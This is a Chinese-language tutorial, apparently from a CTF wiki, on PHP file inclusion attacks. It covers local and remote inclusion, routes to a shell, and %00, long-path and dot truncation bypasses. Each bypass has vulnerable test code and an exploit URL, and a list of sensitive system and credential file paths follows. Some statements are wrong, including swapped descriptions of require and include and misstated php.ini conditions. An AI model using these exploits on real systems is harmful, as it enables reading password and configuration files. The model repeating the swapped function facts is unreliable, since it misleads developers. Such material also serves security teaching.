常用函数
.require()执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
.require_once()若文件中代码已被包含则不会再次包含
.include()只要程序一运行就包含文件,找不到被包含文件时只产生致命错误,并停止脚本
.include_once()若文件中代码已被包含则不会再次包含
漏洞利用的条件
1.程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
2.用户能够控制该动态变量
3.要保证php.ini中allow_url_fopen和allow_url_include要为On
漏洞分类
本地包含
可以包含本地文件,条件与叙事能执行代码
读敏感文件,读PHP文件
包含日志文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
配合图片上传图片马,然后包含从而GetShell
远程包含
包含远程木马或病毒文件,从而GetShell
要实现远程文件包含需要allow_url_fopen和allow_url_include都开启
绕过包含限制
%00截断
条件:allow_url_fopen=Off php版本<5.3.4
测试代码:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
测试结果:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
长路径截断
条件:windows OS,点号需要长于256;linux OS长于4096。超出部分被截断
测试代码:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
点点点点点号截断
条件:windows OS,点号需要长于256;linux OS长于4096。超出部分被截断
测试代码:
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
EXP:
http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
常见的敏感信息路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件